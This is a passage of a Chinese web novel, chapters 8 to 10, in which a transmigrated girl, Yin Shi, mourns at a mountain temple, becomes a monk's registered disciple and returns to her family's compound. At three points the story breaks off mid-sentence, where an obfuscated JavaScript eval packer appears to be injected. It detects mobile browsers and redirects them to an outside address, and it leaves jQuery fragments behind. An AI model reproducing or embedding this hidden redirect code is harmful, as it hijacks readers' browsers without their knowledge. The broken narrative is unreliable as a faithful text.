小丫头都梦想做大丫头,涨月钱,将来出嫁也能挑个体面点的人。云鹃因此很珍惜在殷莳跟前服侍的机会,做事很认真,把殷莳服侍得舒舒服服的。 高妈妈跟山脚下的村民很快熟悉起来。买菜之类的事不用她再亲自下山,约定好有村民专门给送上来。 山上喝的水甘甜清冽,比殷莳在府里喝的水质还更好,一问果然是山泉水。 出了院门走一段路,半山腰的观景台有凉亭。往那一坐,小风习习,满眼翠色。殷莳每天吃完早饭就带着婢女出门在山上溜达,锻炼身体。 只要克服使用童工的罪恶感,那小日子过得真算是不错。 但这样一成不变的日子时间长了也会觉得无聊,实在娱乐太少了。殷莳这个年纪在别人眼里也就是识几个字不是睁眼瞎,而且还是来守孝的,也没人想着给她准备几本书打发时间。 无聊至极,殷莳终于想起来这庙里还能听课,她决定去听课。 别说,还挺有意思的。 因为这种课不是给僧众的,就是专门给她们这种花钱在庙里借居、礼佛或者守孝的人的。殷莳其实明白这是为了让金主们更崇信佛法,好捐出更多的香油钱,但讲经的和尚还是很有点水平,听着不会让人觉得枯燥。 尤其殷莳这种上辈子已经卷了一世,后来甚至逃离了大都市的人,听起来更有许多喟叹和感慨。 殷莳就坚持下去了,每天都能来听个早课。 她不知道,她这打发时间的举动引起了别人的注意。 讲经的首座大和尚便与方丈道:“殷家那位来为姨娘守孝的姑娘颇有慧根。” 那是肯定的,虽然小孩的身子,可灵魂是成年人,当然能听懂能理解。但看在和尚们的眼里,就是这小姑娘“有慧根”了。 而另一边,旁的礼佛听经的女眷们也打听:“那是谁家的女儿?小小年纪竟这样坐得住,真难得。” 问出来是来为生母守孝的,更叹:“是个孝顺孩子。” 便有人派了婢女、婆子往这边送东西,也不贵重,只是吃食、瓜果而已,纯纯拿她当小孩看。 殷莳没想到住在庙里居然也要社交。人家送了东西来不还礼在哪个时空都不好。 她挠挠头,让高妈妈去找淳远和尚:“我看前殿院子里那些花盆都不错。问他有没有好看点的卖一个给我。把我从后山挖的那株花移栽进去,当个回礼。” 高妈妈大字不识一个,既没文化也没无甚见识,说:“山上的野花有什么好送的。”那不是随便挖嘛。 殷莳说:“你只管去买盆。” 殷莳日常除了听讲经,从和尚们那里借几本佛经故事书看看之外,也经常在这山上走走。 来到东林寺后她有意放纵巧雀偷懒,只让云鹃贴身伺候,高妈妈更是个不熟悉她的人,她可以放松了下来做回自己。走在山里,见到好的花花草草就挖回来栽在院子里。 前世带着积蓄离开了大都市后,她选择了一个小地方,搞了个花棚为生。 非专业人士靠自己自学摸索,跌跌撞撞交了很多学费,走了许多弯路,后来竟然也能微微盈利,总算不亏损了。 四姑娘只要好好地不出意外,摆弄些花花草草是个好事,高妈妈也不多管。只瞧着她摆弄摆弄,修修枝条,浇浇水,或者洒一把草木灰,那几株野花便生得更好了,不免啧啧。 这会子她想拿那不花钱的野花当回礼,高妈妈想了想,确实她一个小孩子家,手头也没什么像样东西,送花便送花吧。 高妈妈去找淳远,弄了个青白瓷花盆回来。 殷莳看到高兴:“这个好。” 她选了一株花苞结得最好的移进了盆里,又把平时溜达从山溪里捡回来的鹅卵石挑圆润晶莹的压土,再略略修剪枝条。 高妈妈看了都咋舌:“还真有点样子。” 都弄好了让高妈妈捧着送过去,高妈妈去了足足一炷香的功夫才回来。 殷莳奇怪问道:“怎么这么久?” 高妈妈脸上生光,道:“那位夫人十分喜欢,还请了另外一位夫人一同来赏,问了我许多关于花花草草的事。” 当然她答不上来什么,只能说“我家姑娘日常便喜欢摆弄这些花草”,而两位夫人都打赏她的事,自然不必告诉殷莳。 只炫耀说:“其中一位,可是进士夫人。” 进士不是官,进士是功名,是身份。秀才、举人、进士。从举人开始就可以当官了,这个进士夫人大概率是个官夫人。 但人家不说官职,说明不想说,低调。 其实殷莳没觉得有什么。她在另一个时空看的小说动辄丞相首辅摄政王、状元榜眼探花郎的。如果只是普通的二甲进士,她真没觉得有什么。 但高妈妈一脸以“和进士夫人说过话”为荣的模样,提醒了殷莳这个时空普通老百姓对取功名和当官是有多么的仰望。 尤其殷家虽然富裕殷实,也捐了散官,但终究出身不高,主人都不高,仆人见着官夫人就更低到尘埃里去了。 阶级社会四个字质感强烈地扑面而来,让殷莳叹息,晚上失眠了片刻。 因为阶级社会是一整个成系统的社会体系,这个体系里糟粕太多了,这都是殷莳未来要面对的东西。 不裹脚已经非常幸运了。这种幸运不是在每一件事上都能有的。 殷莳睁眼到半夜,最后觉得自己好傻,未来这些又不是自己现在焦虑就能解决的。活一天是一天,有一口饭就吃一口饭吧。 她终于闭上眼,但第二天毫不意外地起晚了。既然起晚,自然就不去听早课。 谁想到近午时分,有小沙弥来探望:“师父让我来看看姑娘。” 小沙弥比殷莳矮一个头,比那个沈家表弟沈缇还矮。光溜溜的脑袋特别可爱。 殷莳超想撸那个小光头,终究不敢造次,忍住了。 叫云鹃拿了饴糖给小沙弥吃,跟他说:“昨日玩耍睡得晚了,今天没起来。明天就去。请大师父放心。” 小沙弥嚼着饴糖回去覆命:“她起晚了。” 讲经大和尚才放下心来。 原是因为殷莳小小女孩之前一直坚持,她若本来就是三天打鱼两天晒网也没人担心,但一个坚持自律的人忽然失了规律,便叫人担心了。尤其她只身一人寄居寺庙,身边没有长辈,只有几个仆妇,大和尚才派了沙弥过去看看。 “阿弥陀佛。”大和尚说,“没事就好。” 大和尚关心她,殷莳还有点感动。 因为她现在继承的所有人际关系其实都来自于殷家三房四姑娘“殷莳”。但大和尚并不认识“殷莳”,所以他的关心是真正给她的。是她这些天坚持听经与这个时空的另一个人建立起来的人与人之间的联系。 还有就是那位派了婢女给她送吃食的夫人。 殷莳还跟云鹃念叨:“明天听课再见到她,我还是跟人家打个招呼吧。” 那个夫人大概就是很喜欢小孩子,大家一起听大和尚讲经见过好几次了。但殷莳敏锐地发现,就像她想撸小光头一样,那位夫人的眼神表达了很强烈的想撸她的念头——原身实在是留给了她一副好样貌,就那些常见的带雪带玉的形容词,都可以往她身上用。 谁不想揉揉这么可爱的小女孩呢。 但拥有成年人灵魂的殷莳可不想被人当毛孩子玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13521585|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 所以她每次都是老和尚一讲完就撒丫子开溜,不给在场的任何一位夫人、老夫人们撸她的机会。 但现在人家给她送过吃食,她回过一盆花了,都有过这种礼尚往来再当作看不见的话就不礼貌了。殷莳决定明天上课主动去跟人家打个招呼。 哪知道第二天去听早课,不见了那位夫人,还有高妈妈嘴里那位“进士夫人”也不见了。 寻了相熟的僧人问,僧人说:“两位夫人已经打道回府。” “哦……”殷莳两条胳膊小鸟展翅一样扑扇了几下,然后放下,“没事,我就问问,嗯,没什么事。” 没几日府里又来给她送东西了。 此时已经是六月,高妈妈和巧雀围着送东西的婆子问东问西。 婆子说:“没什么新鲜事。哦,沈家姑太太和表少爷回京去了。和一位旁的官夫人结伴一起回的京城。” 高妈妈道:“听说表少爷生得神仙模样,可恨我没福气,见不到。” 婆子骄傲道:“我见着了。” 她是个粗使婆子,搬运女眷箱笼重物要用她这样的婆子,便有幸见到了。 婆子又跟殷莳说:“青燕姑娘叫我跟姑娘说别任性,她是为姑娘好。” 殷莳头疼。 青燕太上进了,唯恐自己跟的姑娘离府时间太长被忘记,四月里便托了婆子谆谆叮嘱,要殷莳在山上为三夫人做些手帕、鞋子、荷包之类的东西孝敬她这位嫡母。 大环境如此,不做就显得另类了。殷莳试着做了,哪知道脑子里明明有做针线的记忆,眼睛也会,唯独手不听使唤。 她立刻就知道不好。 女红这玩意在这里应该是人人都会的吧。而且貌似搞不好凭针脚都可以认出是谁做的,虽然不知道是不是真的这么神,但是“殷莳”忽然变得不会做女红了肯定是有问题的。 殷莳还以为继承了原身记忆也能继承技艺呢,哪知道会这样,吓得立刻就停手了,还把已经做了的几针都扯开了线。 然后她又想到另外一件可能会让她露破绽的事,就是字迹。字迹可是比女红更容易暴露的破绽啊。 她小心地试探,发现高妈妈、巧雀、云鹃和李婆子统统都不识字后,才松了一口气。可再一问,完蛋,青燕识字。 青燕是她身边的大婢女,以前她上课都是青燕跟着。这样的婢女聪明点的都能蹭着学点。青燕粗粗认识几个字,算是半文盲。 殷莳翻了翻她们带过来的箱笼,虽然有纸墨笔砚也有字帖,却没有她之前的笔墨作品。 于是等五月里府里来人,她就让巧雀拿了几个大钱给这婆子,说:“妈妈回去与青燕说,我还伤心姨娘身故,专心抄写佛经,没心思做旁的。我有一个事,妈妈务必与我传给青燕,叫她将我从前练的字整理整理,下次给我捎带过来,我要比照着,才知道自己的字有没有进步。” 婆子得了钱,自然要与她办事。 如今六月,她又来了,传了青燕的话,叫殷莳别任性,意思自然是要她好好讨好嫡母。 殷莳不管,只问:“我要的东西呢,带来了吗?” 婆子说:“青燕姑娘说收在那个扁匣子里。” 带来了就好。 待府里的人回去,殷莳在屋里翻看原身以前的笔迹。看完大大松了口气,到底还是小孩子,这笔字她也能写得出来。 这种程度就不怕了,她实际上能写的比原身这个小孩好很多,等回去就说是在山上好好练过。 至于女红,高妈妈以前不熟悉她,自然不知道她曾经的水平。殷莳利用这个信息差,打发了巧雀和云鹃去外头玩,只留高妈妈在屋里,让高妈妈教她。 又解决了一个隐患。 殷莳也不求什么大富大贵,只求别暴露身份,让她好好地在这个地方安然过日子就行。 9. 第 9 章 第9章 沈夫人在娘家待了两个多月,颇为舒心。 因姑娘回家是娇客,便是嫡母也不能像从前那样拿捏她,更有父亲压着,嫂子顶着,她在娘家真真是比从前做姑娘的时候还放松。 但新科进士的探亲假有限,且终究娘家只是娘家,她如今是沈夫人,还是得回自己家去。 洒泪道别了父亲兄嫂,带着儿子沈缇登上了回京的船。 又有一位也是京城来的赵夫人,是替在京城的婆婆回来还愿的。两人原就是在京城认识的,沈夫人先回来,赵夫人是知道的。待赵夫人也来了,便知会了她。两位夫人正好结伴一同回京。 这日船行到某处靠岸补给,赵夫人派了人过来请沈夫人过船去。 “我们夫人得了一盆好花,特请夫人共赏。” 旅途最怕无聊,沈夫人欣然应约,去了赵夫人船上看了,轻拍赵夫人手臂,嗔道:“特特叫我过来,这般排场,我还道是什么名花。这不是玉帘?就这?花又在哪,叫我来看花苞吗?” 赵夫人笑吟吟:“你只说养得好不好吧?” 沈夫人细看,虽只是常见的玉帘,但养得茎叶葳蕤,花苞饱满,点头赞道:“养得确实好。你这是给谁弄的?令婆母?你可真有心。” 赵夫人的夫家娘家俱是怀溪的,沈夫人的娘家是怀溪的,因这一点关联,沈夫人与赵夫人在京城便常走动,对她家的情况十分了解。 “却不是我刻意,实是撞上了。”赵夫人说,“我娘家嫂嫂陪我去东林寺停了几日,有个小姑娘上山守孝。我嫂嫂喜欢人家可爱,着人送了些点心过去。小姑娘十分知礼,送了这盆花做回礼。” “我正琢磨着给我婆婆带点什么回去以解她思乡之愁呢,忽然我嫂嫂唤我过去赏花。我一看,好一盆玉帘。你说这不是正撞上。我离京前我婆婆还曾念叨她昔年院墙下的玉帘呢。” “正好。我与嫂嫂一说,嫂嫂便将这一盆让给了我。你瞧这花苞,还有这新出头的,路上应该能开一茬,待到了京城,应该还能再开一茬。” 沈夫人笑道:“你这是什么运气,就该着你了。” 赵夫人忽然想起来:“对了,那小姑娘说是姓殷的。不知道是是不是你娘家人,哪一房哪一支?小姑娘看着娇娇弱弱的,可我嫂嫂说,每日里大师父的晨课,她都不急不躁能听完。看着也就七八岁的年纪,这年纪我家那几个个个猴似的,要似这般能坐得住,也就你家曦哥了。” 沈夫人听赵夫人这么一说,正要说“我也不知”,话到嘴边忽然想起来自己有个侄女可不就是去了东林寺? 她回娘家要见的亲朋故旧太多,往她跟前凑的侄子侄女甚至侄孙、侄孙女都有了,这个连面都没见到的亲侄女差点被她忘了。 不会是她吧? 问了问,是为生母姨娘守孝的,果然。 “是我侄女啊。”沈夫人称奇,“我都没赶上见她,竟叫你遇到了。” 赵夫人扼腕:“早知道是你亲侄女,实该多去关心一下。这孩子每日里一听完经就走了,从不嬉戏玩耍,我和我嫂嫂一次也没捞着过她。可惜了。” 沈夫人回到自己船上,沈缇正在读书,放下书本问:“赵婶婶那里的花赏得如何?” “哪里有花,只得一串花苞。她就是叫我过去闲聊罢了。”沈夫人笑道,“只一个事,你想也想不到,竟这样有缘。” 遂把赵夫人与殷莳这点浅浅缘分与沈缇讲了。 沈缇也有点意外,却点头:“这听起来的确像表姐。” 沈夫人笑道:“说得就跟你与小四多熟似的。你不过就与她只见过那一次罢了。” 沈缇正色道:“白首如新,倾盖如故。” 小小孩一本正经地跟你说什么倾盖如故,直叫沈夫人哭笑不得。 沈缇继续看书,脑海里不自禁地又想起亲舅舅这一房的这个四表姐。 温柔,是他亲身体会的。 孝顺,是大家都看到的。 沉静,知礼,娴雅,淡泊,是赵夫人描述出来的。 大约就是这么一个印象。 但这都不重要,沈缇与这表姐,也不知道何时才能再见或者此生还有无机会再见。 他坐在窗边,淡金日光里,翻过一页书。 什么表姐表妹,自有她们的爹娘怙恃。他的心思都放在了书上,其他都如浮云随着一缕清风飘出窗棂散了去。 时光一晃而过,转眼就要过年。 要不是管事每个月都会过来汇报一下,三夫人都快忘了还有一个庶女在山上。 “怎么回事?”三夫人听了禀报不禁诧异,“记名弟子?” 刚送完补给从山上下来的婆子回话:“是,姑娘亲口与我说的,还带我去见了首座。首座说咱家姑娘有慧根,收了作记名弟子,让老婆子回来说与老爷和夫人知道。” 三夫人将信将疑:“就小四?” 那孩子也是在她跟前长大的,真没看出来有什么慧根。 婆子得了殷莳的赏钱,使劲夸:“说是咱们四姑娘日日礼佛,夜夜抄经,感动了首座。” “我就说。”三夫人啧道,“也没见她在家里有过什么慧根,怎地去了寺里突然就有慧根了。” 等三爷回来,三夫人有点羡慕地告诉三爷:“这傻孩子,还有点傻福气。” 什么福气,三爷差点气笑:“不过是和尚们又找由头刮香油钱罢了。” 三夫人忙啐道:“快别胡说,不敬佛祖。” “我哪有不敬佛祖,我说的是和尚们。佛祖是佛祖,和尚是和尚。” “那也别乱说话。” 三爷问:“小四不回来过年?” 三夫人嗔道:“上个月不是就跟你说了,我说这个月接她下来,她自己说既都守了这许久,干脆守满。” 人与人之间的感情会因为时间和空间变得疏远单薄。 燕姨娘故去了有十个月了,三爷又纳了年轻的新妾,那点伤感早就过去了。再看殷莳守孝,也没太多感动了,只是觉得“孩子还不错”。 “也好,成全她一片孝心。”三爷道,“只这个记名弟子,又要怎样?” 男人们在外面跑营生,接触各色各样的人多,对“人”没有那么信任。虽崇信神佛,但对僧尼道士还是视之以人的。 妇人们却成日守在家里,见的人少,又有许多根本连书本都没摸过的,便更容易被这些三教九流的给哄骗了去。 三夫人果然道:“自然要备些香油、钱帛送上去。” 三夫人这么大方自然不是为了殷莳。 “小四都当了弟子了,是自己人了。”三夫人道,“佛诞的时候,总不会让咱们再订不上院子。到时候旁人都订不上,独我能订到,不信老太太不高看我一眼。” 庶子媳妇到底在嫡母手里活得是要辛苦一些的。 三爷想到妹妹沈夫人走之前也跟他掏心窝子“嫂嫂不容易,你待嫂嫂好些”。他点点头:“你看着去办。多添点。” 又想起殷莳,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13539199|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “替小四把礼物也准备上。” 三夫人:“我办事,你放心。” 殷莳在山上眼巴巴地等着呢,等了几日果然等到了殷府送来的东西。香油钱帛是给寺庙的,但崭新的僧衣、袈裟、芒鞋和几刀好纸是替殷莳准备给师父的礼物。 殷莳亲自给首座送去。 跪这个事,真的跪多了就习惯了。殷莳甚至已经不需要做心理建设,见到首座直接跪呈:“师父,徒儿的一点心意。” 入戏已深。 首座笑纳了,叫小沙弥收了去,告诉殷莳:“你家里看着待你还不错。” 他道:“你其实不用那么担忧,到底是亲人。” 记名弟子这个事,全靠殷莳筹谋。 她是跟高妈妈闲聊时了解到三夫人、老太太这些女眷都超级迷信,便动了心思,瞄准了讲经的大和尚,开始各种表现。 大和尚见多了红尘算计。但很多事由成年人来做,他不过缓缓睁眼瞧一眼,由殷莳这样的小女儿家来做,却叫他慈悲怜惜了。 且殷莳顶着孩子的躯壳跟他学佛法,实际上开着成年人的金手指,骗得大和尚真的觉得这是个有慧根的孩子,更怜惜了。 若是男孩子,他大概还要顾虑顾虑。因为男孩子长大后便要涉及许多利益,但女孩子就不同了。 女儿家长大便要嫁人,没什么别的路可走,她能有什么过分的要求。 他直接问:“你想要什么?” 殷莳想不到出家人能这么上道。在这样的人面前她也不敢兜圈子,坦诚倾诉:“孩子没娘,以后不知道靠谁。” 大和尚道:“我不过一个出家人,不问红尘事。” 殷莳说:“家中嫡母、祖母,都笃信佛法,大师父说的话,多少管些用。” 大和尚问:“什么事我能说话?” 殷莳开始胡编:“我有个姐姐,嫁得不好,很惨。” 大和尚摇头:“我管不了你嫁人。” 殷莳抬起头:“大师父当然不能让我想嫁给谁就嫁给谁,但大师父能让我不必嫁给我不想嫁的人,是吧?” 这几个月殷莳想清楚了,嫁人的命运在这个时空大概是逃避不了的。 但一个高嫁的沈夫人在娘家被当成贵宾,实在是暴露了殷家虽富地位却不高的事实。 殷莳显然是个美人胚子,又生为庶女。她很担心自己长大后会不会被家族当作攀高枝的工具。 要是门当户对像三爷三夫人那样,差不多的人家,嫡对嫡,庶对庶的,也不是不行。或者哪怕给她准备点嫁妆,低嫁给自家看好的读书人,也不是不行。 怕就怕拿她给什么有权势的老男人当续弦。 最怕把她献给什么什么人当妾。 在富足的生活下,殷莳可以不争,但是不能不思考保底的退路。 小姑娘的眼睛狡黠闪亮。 大和尚笑了:“小小孩子,想得这样远,你才几岁?” “不管几岁,”殷莳正色说,“没了娘,都得立刻长大。” “阿弥陀佛,善哉,善哉。”一句话让大和尚心软了,“那就收你做个记名弟子吧。” 殷莳便是这样成了首座的记名弟子。 首座把这个事汇报给方丈,方丈微笑摇头:“小机灵鬼儿。” 此时,听首座这样说,殷莳眉眼笑得弯弯:“还有好些年呢,谁知道呢。” “我若用不到师父,那是佛祖保佑。” “我若用得到师父,全靠师父保佑。” 10. 第 10 章 第10章 一转眼又到了三月春暖花开时,殷家三房的四姑娘一年前悄无声息地上山,一年后也悄无声息地回来了。 进府先去拜见自己的嫡母三夫人。 三夫人上下打量她:“长高了不少。” 殷莳一副老实模样:“吃穿用度没有缺的,都很好。高妈妈把我照顾得也好。” 高妈妈在三夫人这里也不是什么牌面上的人,不渎职,没给她丢脸就行。三夫人点头;“回头赏她。” “行吧。既回来了,就踏实过日子。休息两天便好好跟你姐姐妹妹们一起上学去。日常里有事再与我说。”三夫人又唤了自己的心腹孙妈妈,赏了殷莳一对珠花,一些吃食、香药,和几块喜庆鲜艳的衣料。 殷莳蹲身给嫡母行礼:“谢母亲。” 三夫人又想起一个事:“哦对了,你院里的青燕,攀高枝去了。” 三夫人说话的语气里带着讥讽。 这事实在意外,殷莳一呆:“啊?” 孙妈妈在旁边说:“那丫头我就瞅着她心思多。这不,趁姑娘不在,攀上了长房,那边把她要走了。” 长房是老夫人的嫡长儿子那一房,三夫人明显有点忿忿。 殷莳小心起来:“那……?” 三夫人一挥帕子:“算了,金贵人咱们留不住。我再给你个丫头。” 三夫人不痛快,殷莳却暗暗高兴,安抚嫡母道:“我师父说,无福之人不入有福之家。她离开咱们是她没福气。母亲不必与她生气。“ 一年不见,小四变得会说话了。三夫人神情微微缓和,点头:“你长大了。” 殷莳抬出东林寺首座大和尚:“师父教我许多道理。” 以后呢,有什么和以前不一样的地方都可以推说是“长大了”和“师父教我的”。 三夫人感兴趣起来,身子前倾:“你和你师父关系怎样,佛诞日不能帮咱们订上院子?” 不愧是商人之家的儿媳妇,真是实在人,好接地气。 殷莳正色道:“到时候我去试试。” 小庶女态度很端正,三夫人被长房要走婢女的那点气儿顺多了,跟孙妈妈商量:“你看把谁放小四院里去合适?” “夏桃?” “夏桃不行,她针线好,我孝敬老太太的那些针线都指着她呢。” “铃铛?” “铃铛最知道我口味了,离了她我不行。” 孙妈妈又提了两个名字,都被否了,总之三夫人的婢女各有用处,哪个她也离不了。 殷莳看明白了。 因为青燕是殷莳身边管事的大丫头,所以三夫人和孙妈妈都认为该再给她补一个能管事的。 但能顶事的大丫头都是用了几年时间培养的,三夫人用惯了用熟了,不想给别人。大概主要是不想因为个庶女让自己不方便不舒服。 殷莳很有眼色地开口:“倒不一定非添个姐姐不可,巧雀虽然只比我大四岁,但我在山上衣裳钱帛都是她管着,很能当事。我也没有觉得不方便。不如给她提起来。” 她识趣,三夫人脸色就更好一些,说:“那也不能院子里头少个人。” 殷莳心里有盘算,建议:“要不然给我个小的?” 三夫人觉得可以。 “从小搁在身边,可以多用几年。”她对妈妈说:“你去给她寻个伶俐些的。” 殷莳打蛇随棍上:“母亲疼我,让我自己挑个合性子的陪我玩可好?” 三夫人骂道:“淘气。” 她虽嗔骂,但庶女离开一年归来,说话和态度都叫人觉得挺舒服,便许了,吩咐孙妈妈:“你选几个带去让她自个挑。” 孙妈妈应了。 殷莳眉开眼笑,又蹲身:“谢谢母亲!” 三夫人却又道:“丫头都好说,你这院里不能没有个大人……” 殷莳眉头一跳。 她奶娘死得早,但以前跟着姨娘生活,所以院子里没有旁的大人。 高妈妈这一年虽然被她压服了。但她后来从试探中也渐渐知悉了,那是因为高妈妈知道这一年只是一份临时性的差事,不会成为固定的差事,所以心态上没有那么强硬。 但如果哪个妈妈真的被分配给她成了固定的人,就不好说了。 大人天然对小孩就有管制的能力和权利,何况这是嫡母派给她的,就是替嫡母管着她的。 殷莳可绝不想自己的院子里有这么一个人。 好在,殷莳已经从高妈妈那里知道了,三夫人这庶子媳妇在家里一直陷于宅斗。生命不息,宅斗不止。 她对自己陪嫁过来的人力资源很珍惜,或者说有点抠门,反正是不舍得给庶女。是因为要给了,未来是要跟着去别人家的。 就如高妈妈,虽然高妈妈自己没什么差事,可她男人是三夫人的陪房,已经成功成为了三爷身边得用的人。拆分奴仆可以拆父母子女,但少有拆夫妻的。到时候高妈妈怎么跟殷莳出嫁?总不能把她男人也带走。那三夫人损失就大了。 但因为复杂的宅斗——高妈妈闲磕牙的时候也给殷莳讲过一些,听得殷莳头痛,总之,婆媳、妯娌再加上嫡庶关系,很复杂。因为种种复杂的宅斗关系,三夫人对不属于她这一派的仆人又特别警惕,不喜欢被别人安插人手到三房。 殷莳很好地利用了这一点,立刻说:“我都这么大了。况且我有母亲呢,凡事我找孙妈妈就是了。” 三夫人对庶女的面子功夫这时候就体现得淋漓尽致,直接顺水推舟了:“也是,几步路的事。有事尽管禀来我房中。” 又对孙妈妈说:“你多受累些。” 孙妈妈笑起来慈眉善目:“那有什么累的。” 拜完嫡母还要去拜见老夫人。 老夫人对这个跟自己没有血缘的孙女没什么热情,但也不苛待,赞了两句孝顺,说:“以后也如此对你母亲。” “母亲”指的就是嫡母,指三夫人。 这话吧……你要说是勉励也不能说不对,但总觉得哪里不对。 殷莳嘴角抽了抽。 老夫人又赏了她两匹鲜艳料子:“女儿家家的穿喜庆些。” 她老人家还好好的健在呢,别把个亡妾的晦气沾到她这里来。 殷莳深深地领会了精神。 她在山上缓冲了一年,已经不是刚穿过来那几天心底惴惴、紧张兮兮的状态了。 也是因为小小孩子跟家里人分别一年,有任何变化都不稀奇,一句“长大了”便说得通。 殷莳也蹲身行礼谢祖母:“谢祖母赏,祖母身体康健,万福金安。” 生在富裕人家当个小庶女真好呀。殷莳很喜欢殷家人这样——对你不亲热,不会特意去关心你,但也不苛待你,吃的喝的穿的用的都还挺好。 这状态要是能一直保持下去就好了。 赏赐自有丫头接。殷莳是先打发了巧雀回院收拾,身边带的是云鹃,便由云鹃去接了赏。 两个人带着长辈的赏赐回去阔别的一年的小院,巧雀正忙着,见她们回来,上前诉委屈:“青燕姐姐被长房要走了,不回来了。” “你见着她了?” “她知道咱们回来,特特过来把院里的钥匙都交给了我。我说让她等等姑娘回来,她说她那边忙,鸡撵似的就走了。” 三夫人说的没错,还真是攀高枝,看不上庶子的庶女了。 但殷莳非但不在意,甚至窃喜。青燕这一走,她的束缚少了一层,以后舒服多了。 她告诉巧雀:“夫人已经同意把你提起来。以后你就顶替青燕,咱们院里会再添个小丫头。” 巧雀又惊又喜,忙问:“那我的月钱也涨吗?跟青燕姐姐一样?” 殷莳还忘了这一茬,想了想说:“回头我跟孙妈妈再确认一下。既然干大丫头的活,就该拿大丫头的钱。” 山上这一年,巧雀是能够感受到自家姑娘的变化的。 四姑娘从前很多事都是听姨娘和青燕的,在山上这一年却都是自己拿主意。大和尚们却都赞她聪慧。 巧雀本来比殷莳年纪大,以前都是她哄殷莳。现在却觉得“姑娘长大了,有主见了”,变成了她听殷莳的。 她本就是奴婢,又不像青燕年纪大些还粗粗识几个字,再加上殷莳这一年有意的调/教、暗示、引导,竟很习惯了听殷莳的话。 殷莳说:“钥匙你都收好,以后都归你管。” 又叫她把长辈赏赐的东西清点一下收起来。 巧雀看着这些衣裳料子,高兴起来:“天暖了,正赶得上给姑娘做几身新衣。” 出孝了,原就该穿得新鲜些。 殷莳笑道:“你以后就是大丫头,这些你操心吧。” 巧雀大受鼓舞,抱着衣料去整理了。 云鹃加入了干活的队伍,殷莳也没闲着。青燕走了,她现在身边就三个人,除了李婆子,其他两个其实都是小孩。 只有她才是真正的成年人。 她也挽了袖子。 李婆子洒扫庭院,巧雀收拾被服衣裳钱箱,云鹃擦桌抹案,殷莳自己拾掇一些贴身的细碎物品。 偶一抬头,轩窗外春意正浓,枝头翠绿低垂,阳光满院。 殷莳停下,目光穿过窗子打量这院子。 缓冲了一年,已经冷静平和,不复一年前的紧张不安,又没了青燕的压制掣肘,终于有了一种“我是这里的主人”、“这个院子以后是我的了”的真实感。 殷莳微微笑,又轻叹。 以后在这里,好好生活吧。 下午姐妹们叽叽喳喳地来了。 殷三老爷有三个儿子五个女儿。殷莳在五个女儿里排行老四。 时人通常按翻年就算长一岁,这么算今年大娘十二岁,二娘十岁,三娘和殷莳同岁都是九岁,五娘才六岁,还是小豆丁。 三娘扯着殷莳的衣袖说:“你早几日回来就能赶上我生辰了,真是的。” 三夫人自己没有亲生的女儿,女儿们都是妾室所出。三娘是三月里生日,殷莳是五月里生日。三娘刚刚过完生日殷莳便回来了,刚好错过。 姐妹们又告诉她:“大哥跟着姑姑去京城了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13552487|141615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一直给她送东西的婆子是个粗使干苦力的,也不清楚府里面的事。祖母、嫡母也没一个觉得这事需要通知一下这个小庶女的。也可能是因为去年就走了,今年见到殷莳已经不觉得这是该说的“新消息”了。 这事要不是姐妹们告诉她,殷莳根本就不知道。 对,就是这么边缘的人。 殷莳问:“去京城干嘛?” “去沈家跟着读书。” “大房的四哥也去了。” “还有二房的二哥。” 姐妹们七嘴八舌,正是爱说话的年纪,平时见不着父亲,在嫡母那里也没那么自在,倒是她们几个自己在一起还挺放松的。 都是可爱漂亮的小女孩,争着告诉她她不在这一年府里发生的事,殷莳心都化了,扭头喊云鹃:“看看柜子里有什么吃的,都拿来。” 大娘笑她:“一年不见,居然变大方了。” 二娘也笑:“以前衣料首饰你不抠索,要你口吃的就难。” 咦,记忆唤醒,原来原身竟然是个爱吃护食的吃货,真好,可以本色演出了。 殷莳眉眼笑得弯弯:“刚回来,想你们,就大方点。” 少女们咯咯地笑。 又跟她说:“父亲新纳的周姨娘现在有身子了,不知道这次是弟弟还是妹妹。” 殷莳生出一种强烈的“时间在往前走”的感觉。 大概没人在意死去的燕姨娘了,毕竟连她自己亲生的孩子都随她去了,殷莳也只是个冒名顶替的。 她的丈夫殷三老爷自然会有新的妾,新的孩子。 这个时代就是这样的。 干果点心端上来,大家也不同殷莳客气,边吃边聊。 大娘带着期盼说:“沈家是书香世家,在他们家读书可比家里强多了。哥哥们要是能考中秀才就好了。” 三娘却说:“大哥二哥读书都没有长房的人好,怕是难。” 二娘“呸”道:“你说点好的。” 女孩子们年纪都不大,却都明白兄弟们如果有功名,自己也能跟着水涨船高。 殷莳下意识地问:“那么多人去人家家,合适吗?” 